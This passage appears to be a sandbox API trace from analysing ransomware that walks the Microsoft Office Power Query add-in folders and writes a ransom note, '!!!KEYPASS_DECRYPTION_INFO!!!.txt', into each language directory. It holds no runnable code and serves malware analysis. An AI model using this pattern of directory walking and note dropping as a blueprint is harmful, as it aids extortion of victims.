lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.127] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\id\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0247.127] FindNextFileW (in: hFindFile=0x2ef9e88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.127] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.127] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.127] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.127] GetLastError () returned 0x3f0 [0247.127] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\is\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\is\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.127] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\is\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\is\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\is\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6bc [0247.140] GetFileType (hFile=0x6bc) returned 0x1 [0247.140] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.140] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.141] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.141] WriteFile (in: hFile=0x6bc, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.141] WriteFile (in: hFile=0x6bc, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.141] CloseHandle (hObject=0x6bc) returned 1 [0247.142] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\is\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9ac8 [0247.142] FindNextFileW (in: hFindFile=0x2ef9ac8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.142] FindNextFileW (in: hFindFile=0x2ef9ac8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.142] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\is\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.142] FindNextFileW (in: hFindFile=0x2ef9ac8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.142] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\is\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.142] FindNextFileW (in: hFindFile=0x2ef9ac8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.142] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\is\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.142] FindNextFileW (in: hFindFile=0x2ef9ac8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.142] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\is\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.142] FindNextFileW (in: hFindFile=0x2ef9ac8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.142] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\is\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.142] FindNextFileW (in: hFindFile=0x2ef9ac8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.142] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\is\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.142] FindNextFileW (in: hFindFile=0x2ef9ac8, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.142] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.142] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.142] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.142] GetLastError () returned 0x3f0 [0247.142] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.143] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.154] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\it\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c8 [0247.156] GetFileType (hFile=0x6c8) returned 0x1 [0247.156] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.156] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.156] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.156] WriteFile (in: hFile=0x6c8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.157] WriteFile (in: hFile=0x6c8, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.157] CloseHandle (hObject=0x6c8) returned 1 [0247.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9b48 [0247.158] FindNextFileW (in: hFindFile=0x2ef9b48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.158] FindNextFileW (in: hFindFile=0x2ef9b48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.158] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.158] FindNextFileW (in: hFindFile=0x2ef9b48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.158] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0247.158] FindNextFileW (in: hFindFile=0x2ef9b48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.158] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.158] FindNextFileW (in: hFindFile=0x2ef9b48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.158] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.158] FindNextFileW (in: hFindFile=0x2ef9b48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.158] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.158] FindNextFileW (in: hFindFile=0x2ef9b48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.158] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.158] FindNextFileW (in: hFindFile=0x2ef9b48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.158] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.158] FindNextFileW (in: hFindFile=0x2ef9b48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.158] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0247.158] FindNextFileW (in: hFindFile=0x2ef9b48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.159] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0247.159] FindNextFileW (in: hFindFile=0x2ef9b48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.159] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\it\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0247.159] FindNextFileW (in: hFindFile=0x2ef9b48, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.159] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.159] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.159] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.159] GetLastError () returned 0x3f0 [0247.159] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.159] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.234] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ja\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6c4 [0247.236] GetFileType (hFile=0x6c4) returned 0x1 [0247.236] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.236] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.236] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.236] WriteFile (in: hFile=0x6c4, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.237] WriteFile (in: hFile=0x6c4, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.237] CloseHandle (hObject=0x6c4) returned 1 [0247.237] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9b88 [0247.237] FindNextFileW (in: hFindFile=0x2ef9b88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.237] FindNextFileW (in: hFindFile=0x2ef9b88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.237] FindNextFileW (in: hFindFile=0x2ef9b88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Data.SapClient.resources.dll") returned=".dll" [0247.237] FindNextFileW (in: hFindFile=0x2ef9b88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.237] FindNextFileW (in: hFindFile=0x2ef9b88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.237] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.238] FindNextFileW (in: hFindFile=0x2ef9b88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.238] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.238] FindNextFileW (in: hFindFile=0x2ef9b88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.238] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.238] FindNextFileW (in: hFindFile=0x2ef9b88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.238] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.238] FindNextFileW (in: hFindFile=0x2ef9b88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.238] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.OAuth.resources.dll") returned=".dll" [0247.238] FindNextFileW (in: hFindFile=0x2ef9b88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.238] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.Mashup.OleDbProvider.resources.dll") returned=".dll" [0247.238] FindNextFileW (in: hFindFile=0x2ef9b88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.238] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ja\\Microsoft.MashupEngine.resources.dll") returned=".dll" [0247.238] FindNextFileW (in: hFindFile=0x2ef9b88, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.238] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.238] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.238] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.238] GetLastError () returned 0x3f0 [0247.238] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ka\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ka\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.238] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ka\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ka\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ka\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc [0247.293] GetFileType (hFile=0x6cc) returned 0x1 [0247.293] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.293] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.293] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.293] WriteFile (in: hFile=0x6cc, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.294] WriteFile (in: hFile=0x6cc, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.294] CloseHandle (hObject=0x6cc) returned 1 [0247.294] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ka\\*", lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0x2ef9e08 [0247.294] FindNextFileW (in: hFindFile=0x2ef9e08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.294] FindNextFileW (in: hFindFile=0x2ef9e08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.295] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ka\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned=".txt" [0247.295] FindNextFileW (in: hFindFile=0x2ef9e08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.295] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ka\\Microsoft.Mashup.Client.Excel.resources.dll") returned=".dll" [0247.295] FindNextFileW (in: hFindFile=0x2ef9e08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.295] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ka\\Microsoft.Mashup.Client.UI.resources.dll") returned=".dll" [0247.295] FindNextFileW (in: hFindFile=0x2ef9e08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.295] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ka\\Microsoft.Mashup.Client.Windows.resources.dll") returned=".dll" [0247.295] FindNextFileW (in: hFindFile=0x2ef9e08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.295] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ka\\Microsoft.Mashup.Document.resources.dll") returned=".dll" [0247.295] FindNextFileW (in: hFindFile=0x2ef9e08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 1 [0247.295] PathFindExtensionW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ka\\Microsoft.Mashup.DocumentServices.resources.dll") returned=".dll" [0247.295] FindNextFileW (in: hFindFile=0x2ef9e08, lpFindFileData=0x2e4e0e4 | out: lpFindFileData=0x2e4e0e4) returned 0 [0247.295] FindNextFileW (in: hFindFile=0x2e79dd8, lpFindFileData=0x2e4e434 | out: lpFindFileData=0x2e4e434) returned 1 [0247.295] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0247.295] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x38bb4a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0247.295] GetLastError () returned 0x3f0 [0247.295] PathAppendW (in: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0247.295] PathFileExistsW (pszPath="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0247.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\kk\\!!!KEYPASS_DECRYPTION_INFO!!!.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\kk\\!!!keypass_decryption_info!!!.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x2e4de48, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0247.328] GetFileType (hFile=0x6d0) returned 0x1 [0247.328] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de78, cchData=2 | out: lpLCData="0") returned 2 [0247.328] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de64, cchData=2 | out: lpLCData="0") returned 2 [0247.328] GetLocaleInfoEx (in: lpLocaleName=0x0, LCType=0x22, lpLCData=0x2e4de54, cchData=2 | out: lpLCData="0") returned 2 [0247.328] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x3a4, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x3a4, lpOverlapped=0x0) returned 1 [0247.329] WriteFile (in: hFile=0x6d0, lpBuffer=0x2e4cae0*, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0x2e4c40c, lpOverlapped=0x0 | out: lpBuffer=0x2e4cae0*, lpNumberOfBytesWritten=0x2e4c40c*=0x2a, lpOverlapped=0x0) returned 1 [0247.329] CloseHandle (hObject=0x6d0) returned 1 [0247.329] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft 